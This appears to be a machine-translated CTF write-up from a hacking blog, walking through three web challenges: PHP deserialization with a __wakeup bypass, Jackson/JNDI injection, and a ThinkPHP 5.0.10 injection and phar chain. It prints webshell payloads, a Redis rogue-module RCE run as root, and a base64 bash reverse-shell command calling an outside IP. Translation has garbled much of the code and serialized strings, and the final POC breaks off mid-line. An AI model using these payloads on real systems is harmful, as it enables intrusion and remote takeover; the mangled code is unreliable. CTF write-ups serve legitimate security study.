Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86383042

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

web

1.ESAY_EVAL

?PHPクラスA {public $ code=''; function __call($ method、$ args){eval($ this-code); } function __wakeup(){$ this-code=''; }} class b {function __destruct(){echo $ this-a-a(); }} if(isset($ _ request ['poc'])){preg_match_all( '/' [ba] ':(。*?):/s'、$ _ request ['poc']、$ ret); if(isset($ ret [1])){foreach($ ret [1] as $ i){if(intval($ i)!==1){exit( 'wake wakeup?no!'); }} unserialize($ _ request ['poc']); }} else {highlight_file(__ file__); }

簡単な分析は、__wakeup関数をバイパスすることができます。

機能に関するこの記事を読むpreg_match_all php preg_match_all()関数の紹介と使用法-feiniao muyuブログ(feiniaomy.com)

最後に、$ ret [1]の2つの変数を1に等しくする必要があります。なぜなら、intval($ i)!==1の制限があるため(これはバイパスする場合は問題ありません。なぜなら、PHPの変数名はケースに敏感であり、機能名、メソッド名、およびクラス名はケースに敏感ではないため)。ウェイクアップをバイパスするために1つを出すだけです。

ペイロードを構築します

?php

クラスA {

public $ code='';

パブリック関数__construct(){

$ this-code='eval(\ $ _ post [1]);';

}

}

クラスB {

パブリック関数__construct(){

$ this-a=new a();

}

}

Echo Serialize(new B());

$は、シリアル化が実行されるときに実行されることを恐れているため、その前に追加されます。

1049983-20211224170339728-1967965652.jpg GET O:1:'B':1: {s:13360'a '; o:1:'a': 1: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、 Aを小文字に変更すると、次の番号を変更してバイパスできますO:1:'B':1: {s:13360'a '; o:1:'a': 2: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、アリの剣を接続してシェルを取得します

コード監査、直接脱力化は、テンテイジャンを構築します

1049983-20211224170340216-581797451.jpg

小文字オブジェクトAバイパス

ペイロード

?poc=o:1:'b':1: {s33601:'a '; o:1:'a'3 33602: {s:4:'code '; s:16:'eval($ _ post [0]);';}}}} Ant Sword Connectionは、disable_functionがあることを発見しました。アリの剣によって持ち込まれたバイパスを試してみて、ウェブサイトのルートディレクトリにconfig.php.swp vi-rがあることがわかりました。 Redisパスワードはそうであることがわかりました

github上のredis rceを備えた悪意のあるSOファイルをTMPディレクトリにアップロードし、悪意のあるモジュールRCEをANT Sword Redisプラグインでロードする

1049983-20211224170340691-681623030.png

Redisは悪意のある負荷を負うので、シェルを取得します

Ant Swordは構成を見つけて復元しました

1049983-20211224170341050-13255766.png

それをダウンロードしてLinuxに投げてVIで復元します

VI -R config.php

1049983-20211224170341416-1081333836.jpg

このRedisパスワードは偽造すぎるように見えますが、それは本当です。 Ant SwordのRedisプラグインを使用して接続します

1049983-20211224170341920-1119731240.png

それから私はレディスを打った。 phpinfoにopen_basedirがあることがわかりました。まだ使用できるTMPがあるので、悪意を持ってアップロードしますので

1049983-20211224170342306-189304732.pnghttps://github.com/dliv3/redis-rogue-server

アリの剣を直接使用します

1049983-20211224170342685-131854183.png

Redisプラグインを使用してRedisを接続します

127.0.0.1:6379モジュールLoad /tmp/exppadding.so

わかりました

127.0.0.133606379 System.exec 'id'

'uid=0(root)gid=0(root)グループ=0(root)\ n

1049983-20211224170343111-1023030855.jpg添付のローカル環境」:

ubuntu:16.04から

src/sources.list /etc/apt/sources.listcopy src/redis-4.0.9 /home/redis-4.0.9をコピーします

Apt-Getアップデート\ Apt-Getインストール-Y Curl \ Software-Properties-Common \ Python3-Software-Properties \ python-software-properties \ unzip \ vim

apt -get install -y apache2runサービスapache2再起動を実行します

locale -arunエクスポートLang=C.UTF-8 \ Add-Apt-Repository PPA:ONDREJ/PHP \ APT-GETアップデート

apt -getインストールを実行します-y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7。 0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip

apt install -y gcc \ makeを実行します

Cd /home/redis-4.0.9 \ cp -r /home/redis-4.0.9/usr/local/redis \ cd/usr/usr/redis \ make prefix=/usr/local/redisインストール\ export redis_home=/usr/local/redis \ export path=$ path33: $ redis_home/bin/bin/bin

src/tmp/srcrun mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini \ rm -rf/var/www/html \ mv/tmp/src/html/var/www/html \ mv/htmp//start.sh \ chmod +x /start.sh

80を公開します

cmd ['/start.sh']

その中で、web.iniはphpの構成ファイルであり、disable_functionなどに設定できます。

2.Jackson

元のタイトルについては話しません

https://www.redmango.top/article/61#javaweb

まず、タイトルで与えられたpom.xmlを見てください

Shiro1.5.1、CC3.2.1タイトルはジャクソンです

その後、アクセスルートをバイパスし、ジャクソンを介してCCチェーンを脱上することはシロの検証である必要があります

ログインする必要があるJSONルートがあることがわかりました。

1049983-20211224170343802-297338680.jpgその後、ツールに直接移動します:https://github.com/welk1n/jndi-injection-exploit

Java -jar Jndi-injection-exploit-1.0-snapshot-all.jar -a '47 .100.27.114 '-C' Bash -C {echo、ymfzacatasa+jiavzgv2l3rjcc80ny4xmdaumjcumte0lzgwodggmd4mmq==} | {base64、-d} | {bash、-i} 'またはPOM.xmlでフレームワークバージョンをご覧ください。

1049983-20211224170344366-502955647.jpg 2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

ジャクソン脱介入+ JNDIインジェクション + LDAPリターンシリアル化データトリガーローカルガジェットバイパスJDK 8U_191リミット4

post/;/json http/1.1

HOST: 8.134.37.86:20947

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336092.0)gecko/20100101 firefox/92.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

Content-Type:アプリケーション/JSON

Content-Length: 97

['ch.qos.logback.core.db.jndiconnectionSource'、{'jndilocation ':'ldap: //106.15.250.20.209:8091/a

紀元前'}]

1049983-20211224170345373-1153092748.jpgNCがリバウンドしました、ルートディレクトリにフラグを取得するだけです

1049983-20211224170345764-511421506.jpg

3.eztp

robots.txtを介してwww.zipソースコードを入手してください:

1049983-20211224170346158-861591018.jpg

1049983-20211224170346533-592200662.jpg

ディレクトリ構造:

1049983-20211224170346908-160724702.jpg

明らかなTPフレームワークが表示され、取得されます:5.0.10

当初、私はTPフレームワークのRCEを試しましたが、それは実りがありませんでした。だからあきらめます

次に、コントローラーにインデックスと管理者があることを確認します。

管理者コントローラー:

1049983-20211224170347332-929303291.jpg

インデックスコントローラー:

1049983-20211224170347750-1545368266.jpg

問題はないようです。

ただし、Admin Controllerのアップロードおよび列ディレクトリ操作にAdminにログインする必要があることがわかります。

したがって、それは注入する必要があり、バイドゥは検索しました

このバージョンのTPフレームワークインジェクション:https://www.cnblogs.com/wangtanzhi/p/12734685.html

ログイン管理アカウントを注入:

1049983-20211224170348174-1770961135.jpg

次に、管理者コントローラーのリストディールを確認すると、IS_DIR関数がPHARの脱必要異化をトリガーできることがわかります。

参照:https://www.anquanke.com/post/id/251318#h2-1

ただし、上記のPOCを使用することは、インターネット上のPOCから利用できないことがわかります。

私はローカル環境をデバッグしましたが、それを見つけました:

process.php閉じる方法:

1049983-20211224170348643-86495486.jpg

元のTPフレームワークとは異なり、IFはフィルターに追加されます。なぜなら、元のHasManyクラスには緊密な方法がないため、$ ThisProcesspipes-Close()メソッドを呼び出すことは不可能であるため、次の脱3s化および書き込みファイルRCEは不可能であるため、インターネット上のPOCは無意味になります。

今やらなければならないことは、緊密な方法を持つクラスが必要であり、内部的にはメンバー変数の緊密な方法を呼び出す必要があります。

これにより、フィルタリングをバイパスすることができ、脱介入を継続できます。

ここで私はMemcacheクラスを見つけました、

1049983-20211224170349045-894237468.jpg

元のチェーンを$ thishandler変数に接続するだけで、それを脱上化し続けることができます。

しかし、デバッグを通して:

1049983-20211224170349452-68844655.jpg

このパスパスは、書いた後には見つかりません。そこで、私はそれを絶対的なパスに変更して、パブリックディレクトリに書きました

POC:の脱気面化

?phpnamespace think; shink \ session \ driver \ memcache; class process {private $ processpipes;

プライベート$ステータス;

プライベート$ ProcessInformation; public function __construct(){$ this-processinformation ['running']=true; $ this-status=3; $ thisprocesspipes=(new Memcache(1)); }

} namespace think; class model {

} namespace think \ model;

Think \ Model;クラスマージ拡張モデル{public $ a='1';を使用します。 public function __construct(){}} namespace think \ model \ relation; shinkを使用します